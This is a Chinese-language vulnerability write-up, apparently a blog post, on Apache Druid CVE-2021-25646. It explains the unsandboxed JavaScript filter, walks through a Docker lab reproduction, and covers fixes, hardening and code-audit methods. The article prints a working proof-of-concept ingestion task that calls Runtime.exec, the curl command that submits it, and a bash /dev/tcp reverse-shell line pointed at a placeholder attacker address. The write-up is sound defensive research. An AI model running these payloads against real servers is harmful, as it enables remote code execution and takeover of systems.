1. 项目概述:一次对Apache Druid核心安全机制的深度剖析

在数据驱动的时代,实时分析数据库Apache Druid因其出色的性能,被广泛应用于监控、广告技术、物联网等需要亚秒级查询响应的场景。然而,强大的能力往往伴随着复杂的内部机制,任何一处设计上的疏忽都可能成为攻击者眼中的“黄金入口”。CVE-2021-25646正是这样一个典型案例,它并非一个简单的配置错误或边界检查遗漏,而是触及了Druid处理用户输入的核心逻辑——JavaScript脚本执行功能。这个漏洞允许攻击者通过精心构造的HTTP请求,在Druid服务器上执行任意代码,从而完全控制服务器。今天,我们就从一个防御者和研究者的双重角度,深入拆解这个高危漏洞的原理、复现过程以及背后的安全启示。这不仅是一次漏洞复现的演练,更是一次理解现代数据系统安全模型、学习如何审计类似代码逻辑的绝佳机会。无论你是安全研究员、运维工程师还是后端开发者,理解这个漏洞的来龙去脉,都将对你构建和守护更安全的数据系统大有裨益。

2. 漏洞原理深度解析:当“功能”变成“后门”

要理解CVE-2021-25646,我们必须先走进Apache Druid的“数据加工车间”——它的索引服务(Indexing Service)和查询节点(Broker/Historical)。Druid为了提供灵活的数据转换能力,内置了一个名为“JavaScript”的数据转换功能模块。用户可以在数据摄取(Ingestion)阶段,通过提交一个包含JavaScript代码的JSON配置,来对数据进行过滤、变换等操作。

2.1 核心问题:沙箱的缺失与信任的滥用

这个功能的设计初衷是好的,但致命缺陷在于其执行环境。通常,在一个需要执行用户不可信代码的系统里,必须建立一个严格的“沙箱”(Sandbox)。这个沙箱会限制代码的访问权限,比如禁止访问文件系统、禁止执行系统命令、禁止进行网络连接等。Java平台本身提供了通过 SecurityManager AccessController 来构建沙箱的机制。

然而,在受影响的Druid版本(具体是0.20.0及更低版本)中,这个JavaScript执行功能 没有启用任何Java安全管理器(SecurityManager) 。这意味着,用户提交的JavaScript代码在Druid的JVM进程中运行时,拥有与该进程 完全相同的权限 。如果Druid服务是以高权限(例如root或具有特权的服务账户)运行的,那么这些JavaScript代码就能“为所欲为”。

更关键的攻击向量在于 Java.type() 方法。Nashorn引擎(Java 8内置的JavaScript引擎)提供了这个强大的方法,允许JavaScript代码直接访问和实例化任何Java类。这就相当于在JavaScript和强大的Java原生API之间架起了一座没有任何安检的桥梁。

2.2 攻击链的构造:从JavaScript到系统命令

攻击者的思路非常清晰:利用 Java.type() 方法,调用能够执行系统命令的Java类。最直接的目标就是 java.lang.Runtime 。攻击者可以在JavaScript中写出如下逻辑:

var Runtime = Java.type('java.lang.Runtime');
var process = Runtime.getRuntime().exec('你的系统命令,如id或touch /tmp/pwned');
var inputStream = process.getInputStream();
// ... 读取命令执行结果

通过这种方式,任何能够在数据摄取配置中注入JavaScript的用户,都可以远程在服务器上执行命令。这个漏洞的CVSS评分高达8.8,属于高危漏洞,因为它直接导致了未经授权的远程代码执行,且无需任何前置身份认证(取决于Druid的部署配置,如果管理端口暴露则无需认证)。

注意 :这里解析原理是为了理解漏洞根源,所有相关代码和命令仅用于教育目的,严禁对未授权的系统进行测试。在实际生产环境中,任何尝试利用此漏洞的行为都是非法的。

3. 漏洞复现环境搭建与验证

为了真正理解漏洞的影响并验证修复措施的有效性,搭建一个受控的测试环境是必不可少的。我强烈建议只在隔离的虚拟机或容器内进行此类实验。

3.1 环境准备与目标部署

我选择使用Docker来快速搭建一个存在漏洞的Apache Druid环境,这能保证实验的隔离性和可重复性。

  1. 拉取漏洞版本镜像 :Apache Druid在Docker Hub上提供了官方镜像。我们需要指定一个存在漏洞的版本标签,例如 0.20.0

    docker pull apache/druid:0.20.0
    
  2. 启动单机模式Druid集群 :Druid通常由多个组件构成(Coordinator, Overlord, Broker, Historical, MiddleManager等)。为了方便测试,我们使用其内置的单机模式( micro-quickstart )启动所有组件。

    docker run -d --name druid-vulnerable \
               -p 8888:8888 \
               -p 8081:8081 \
               -p 8082:8082 \
               apache/druid:0.20.0 micro-quickstart
    

    这里映射了几个关键端口:

    • 8888 : Router/控制台端口,用于访问Web UI。
    • 8081 : Coordinator端口。
    • 8082 : Broker端口,也是我们提交数据摄取任务的主要入口。
  3. 等待服务就绪 :启动后需要等待一两分钟,让所有内部组件初始化完成。可以通过查看容器日志或尝试访问 http://localhost:8888 来确认。

3.2 漏洞验证与无害化探测

在发起真正的攻击载荷前,我们可以先进行一个无害化的探测,验证JavaScript执行功能是否开启且未受限制。这有助于我们理解漏洞存在的上下文。

我们向Druid的Overlord节点(负责接收索引任务)提交一个简单的数据摄取任务(通过HTTP POST到 http://localhost:8081/druid/indexer/v1/task )。这个任务的配置中,我们在 transformSpec filter 字段里嵌入一段仅做计算的JavaScript代码,例如判断1+1是否等于2。

如果任务被成功接收并执行(即使后续因为数据源不存在而失败),并且在任务日志中没有看到关于JavaScript被禁用的错误,那么就基本证实了该环境存在可被利用的条件。真正的攻击者会在此基础上,将无害的计算代码替换为恶意的命令执行代码。

实操心得 :在调试这类漏洞时,善用Druid任务的历史记录和日志查看功能(通过Web UI或API)至关重要。它不仅能告诉你任务是否被接受,还能显示执行过程中的标准输出和错误,这对于构造复杂的攻击链(比如需要回显命令结果时)非常有帮助。

4. 攻击载荷构造与执行过程拆解

理解了原理,搭建了环境,接下来我们深入核心,看看攻击者是如何一步步将恶意代码“喂”给Druid并成功执行的。请注意,以下所有步骤和代码仅用于在 完全受控、隔离的授权测试环境 中进行学习研究。

4.1 构造恶意数据摄取任务

攻击的入口点是Druid的数据摄取API。攻击者需要构造一个符合Druid规范的JSON任务提交对象。这个对象的核心在于 spec -> ioConfig -> inputSource (定义数据来源,可以是一个静态文件或HTTP端点)以及 spec -> dataSchema -> transformSpec (定义数据转换规则)。

漏洞利用的关键在于 transformSpec 中的 filter 字段。Druid允许在这里使用JavaScript函数来过滤行数据。我们在这个JavaScript函数中注入恶意代码。

一个极简的、用于验证漏洞存在的POC任务配置示例如下:

{
  "type": "index_parallel",
  "spec": {
    "ioConfig": {
      "type": "index_parallel",
      "inputSource": {
        "type": "inline",
        "data": "{\"timestamp\":\"2021-01-01T00:00:00Z\", \"column\":\"test\"}"
      },
      "inputFormat": {"type": "json"}
    },
    "dataSchema": {
      "dataSource": "exploit_test",
      "timestampSpec": {"column": "timestamp", "format": "iso"},
      "dimensionsSpec": {},
      "transformSpec": {
        "filter": {
          "type": "javascript",
          "function": "function(value) { var Runtime = Java.type('java.lang.Runtime'); Runtime.getRuntime().exec('touch /tmp/pwned_success'); return true; }",
          "dimension": "column"
        }
      }
    }
  }
}

代码拆解

  • type: "javascript" :声明使用JavaScript过滤器。
  • function :这里就是恶意载荷。它定义了一个函数,该函数:
    1. 使用 Java.type('java.lang.Runtime') 获取Java的Runtime类引用。
    2. 调用 Runtime.getRuntime().exec(...) 执行一个系统命令。这里示例是创建一个文件 /tmp/pwned_success 作为攻击成功的标志。
    3. 最后返回 true ,让该行数据通过过滤(这无关紧要,因为我们的目的是执行命令,而非真正处理数据)。
  • dimension : “column”指定了对哪个字段应用这个过滤函数。

4.2 发送攻击请求并观察结果

我们将上述JSON配置保存为文件 exploit.json ,然后使用 curl 命令将其提交给Druid Overlord的Task API。

curl -X POST -H 'Content-Type: application/json' \
     http://localhost:8081/druid/indexer/v1/task \
     -d @exploit.json

如果漏洞存在且请求格式正确,Druid会返回一个任务ID,例如 task-abcdefg_2023-... 。这表示任务已被接受并排队等待执行。

4.3 验证攻击是否成功

提交任务后,我们需要验证命令是否真的被执行了。有以下几种方式:

  1. 直接检查服务器文件系统 :如果我们对Druid容器有shell访问权限,可以直接进入容器检查文件是否被创建。

    docker exec druid-vulnerable ls -la /tmp/pwned_success
    

    如果文件存在,则证明远程代码执行成功。

  2. 查看任务日志 :通过Druid的API或Web UI查看该任务ID的日志。在日志中,你可能会看到命令执行产生的输出或错误信息(如果命令有输出的话)。例如,可以将攻击载荷中的命令改为 id > /tmp/result.txt ,然后查看 /tmp/result.txt 的内容。

  3. 反向Shell(高级利用) :在实际的攻击中,攻击者往往会尝试获取一个交互式的Shell。这可以通过在JavaScript中执行调用 bash -c python -c 等命令来实现,让受害服务器连接回攻击者控制的机器。例如,使用 bash -i >& /dev/tcp/攻击者IP/端口 0>&1 这需要网络可达且目标服务器有相应的工具

注意事项

  • 命令执行的成功与否,很大程度上取决于Druid进程运行的用户权限。如果以非特权用户运行,可能无法在特定目录创建文件或执行某些特权操作。
  • 命令执行是同步的,但Druid的任务处理是异步的。恶意代码会在数据索引任务启动后的某个时刻执行,而不是在API请求响应的瞬间。
  • 在实际攻击中,攻击者会精心构造更隐蔽、功能更强大的载荷,例如下载并执行木马、挖掘加密货币、横向移动等。

5. 漏洞修复方案与安全加固实践

复现漏洞是为了更好地防御。对于这样一个高危漏洞,Apache官方迅速做出了响应。了解如何修复和加固,才是我们研究的最终目的。

5.1 官方修复方案解读

Apache Druid在后续版本中通过多个层面修复了此漏洞:

  1. 默认禁用JavaScript功能 :这是最根本的修复。在漏洞修复后的版本中, druid.javascript.enabled 这个配置项的默认值被设置为 false 。这意味着,除非管理员在配置文件中显式地将其设置为 true ,否则任何尝试使用JavaScript过滤器的请求都会被拒绝。

  2. 引入类白名单机制 :即使启用了JavaScript功能,Druid也引入了一个严格的类白名单机制。通过配置 druid.javascript.allowedPropertyKeys ,管理员可以精确控制JavaScript代码可以通过 Java.type() 访问哪些Java类。默认的白名单非常小,绝对不包含 java.lang.Runtime java.lang.ProcessBuilder 等危险类。

  3. 强化安全文档 :官方在文档中显著加强了关于启用JavaScript功能的风险警告,明确告知用户这将允许执行任意代码,必须确保仅在绝对可信的环境中使用。

5.2 生产环境加固操作指南

如果你正在运维Apache Druid,请立即采取以下行动:

  1. 立即升级 :将Druid集群升级到已修复该漏洞的版本。请查看Apache Druid的安全公告,确定你的版本是否受影响,并升级到推荐的安全版本。

  2. 检查配置 :即使升级后,也应检查你的运行时配置( common.runtime.properties 或环境变量)。确认 druid.javascript.enabled 是否为 false 。如果业务确实需要此功能,必须全面评估风险。

    # 确保此项为 false,这是最安全的设置
    druid.javascript.enabled=false
    
  3. 网络层隔离 :遵循最小权限原则。Druid的管理端口(如Overlord的8081,Coordinator的8081) 绝不应该 暴露在公网或不可信的网络环境中。应通过防火墙或安全组策略,严格限制只有内部管理网络或跳板机可以访问这些端口。面向公网或业务方的只有Router/Broker的查询端口。

  4. 权限最小化 :永远不要以root用户身份运行Druid进程。创建一个专用的、低权限的系统用户(如 druid )来运行服务。这能在即使发生漏洞利用时,限制攻击者造成的破坏范围(例如,无法修改系统关键文件)。

  5. 启用SecurityManager(高级) :对于安全要求极高的环境,可以考虑为Druid的JVM启用自定义的Java SecurityManager策略文件,从JVM层面严格限制所有代码(包括用户提交的JavaScript)的权限。但这需要深厚的JVM安全知识和细致的策略配置,否则可能导致服务自身功能异常。

5.3 长期安全运维思考

CVE-2021-25646给我们的启示远不止于修复一个配置项:

  • 功能与安全的平衡 :任何提供用户自定义代码执行的功能(无论是JavaScript、UDF、还是插件)都是极端危险的。在设计和评审这类功能时,必须将“默认安全”作为第一原则,即默认关闭,并提供强大的沙箱隔离。
  • 依赖项安全 :漏洞出现在Nashorn引擎与Druid的集成方式上。这提醒我们要关注所使用组件(尤其是脚本引擎、解析器、序列化库)的安全历史和最佳实践。
  • 纵深防御 :不要依赖单一的安全措施。即使应用层修复了漏洞,网络层的隔离、运行时的权限控制、完善的日志审计和入侵检测系统,共同构成了纵深防御体系,能在某一层失效时提供额外的保护。
  • 持续监控与应急响应 :建立对Druid任务API的异常访问监控(例如,短时间内大量提交任务、任务内容异常)。一旦发现疑似攻击,能快速定位、隔离和响应。

6. 从防御者视角看漏洞挖掘与代码审计

作为一名安全从业者,我们不仅要会复现已知漏洞,更应该学习如何发现未知漏洞。CVE-2021-25646的挖掘思路,为我们审计类似系统提供了清晰的路径。

6.1 漏洞挖掘方法论

  1. 入口点测绘 :首先,全面梳理目标系统(如Druid)的所有对外接口(HTTP API、RPC接口、配置文件)。特别关注那些接受复杂参数、尤其是允许指定“类名”、“函数名”、“脚本内容”的接口。数据摄取( /druid/indexer/v1/task )、查询( /druid/v2 )等都是高危入口。

  2. 功能点分析 :仔细阅读官方文档,寻找任何关于“用户自定义函数(UDF)”、“脚本”、“过滤器”、“转换器”的描述。这些往往是代码执行的潜在通道。Druid的JavaScript过滤器功能在文档中就有明确说明,这使其成为首要审计目标。

  3. 代码跟踪与沙箱评估 :这是最核心的一步。找到对应功能的代码实现(在Druid中,可以搜索 JavaScriptFilter JavaScriptDimFilter 等类)。关键问题是:

    • 用户输入的脚本在哪里被解析和执行?(例如,使用的是 javax.script.ScriptEngine )。
    • 执行引擎是什么?(Nashorn, Rhino, GraalVM JS等)。
    • 有没有设置 SecurityManager AccessControlContext 查看代码中是否有 AccessController.doPrivileged SecurityManager 相关的调用。如果完全没有,这就是一个巨大的红旗。
    • 有没有类/方法黑名单或白名单?检查是否有对 Java.type Java.extend 等桥接方法的限制。
  4. 构造POC验证 :在隔离环境中,尝试构造一个最简单的POC,比如执行一个无害的命令( echo 、创建空文件)。从简单到复杂,逐步验证漏洞是否存在以及利用的限制条件(如权限、字符过滤等)。

6.2 针对“用户自定义代码执行”的通用审计清单

当你审计任何一个允许用户提交代码的系统时,可以对照以下清单:

  • [ ] 默认状态 :该功能是否默认启用?安全的设计应是“默认禁用”。
  • [ ] 沙箱机制 :是否存在一个有效的、经过实战检验的沙箱?(例如,Java的SecurityManager + Policy文件,或类似Google Caja的隔离方案)。
  • [ ] 语言特性限制 :是否禁用了脚本语言中访问底层系统的危险特性?(例如,在JavaScript中禁用 Java.type ,在Python中禁用 __import__('os').system )。
  • [ ] 资源限制 :是否对脚本的执行时间、内存占用、CPU时间进行了限制?防止拒绝服务攻击。
  • [ ] 输入过滤与验证 :是否对用户输入的脚本内容进行了严格的语法检查或关键字过滤?(注意,过滤往往容易被绕过,沙箱才是根本)。
  • [ ] 权限上下文 :脚本执行时使用的操作系统用户和JVM权限是什么?是否遵循了最小权限原则?

6.3 工具辅助与动态测试

除了代码审计,动态测试也至关重要:

  • 模糊测试(Fuzzing) :向任务提交API发送大量随机、畸形或包含危险关键词(如 Runtime , exec , ProcessBuilder )的JSON负载,观察系统的响应和日志,看是否有异常行为或未处理的错误信息泄露。
  • 流量拦截与重放 :使用Burp Suite等工具拦截正常的数据摄取请求,然后修改其中的 transformSpec 部分,插入测试载荷进行重放。
  • RASP(运行时应用自我保护) :在测试环境中部署RASP探针,它可以监控应用在运行时对敏感API(如 Runtime.exec() )的调用,即使漏洞利用成功,RASP也可能阻断或告警。

CVE-2021-25646是一个教科书级别的案例,它清晰地展示了“功能滥用”导致的远程代码执行。从防御的角度看,它敦促我们重新审视所有“灵活”功能背后的安全代价;从攻击的角度看(在授权测试中),它提供了一套完整的从信息收集、入口定位、原理分析到载荷构造的方法论。真正的安全能力,就建立在这种对攻防两端的深刻理解之上。在运维像Druid这样强大的数据系统时,时刻保持对安全配置的警惕,定期进行安全审计和升级,是守护数据资产不可或缺的职责。

更多推荐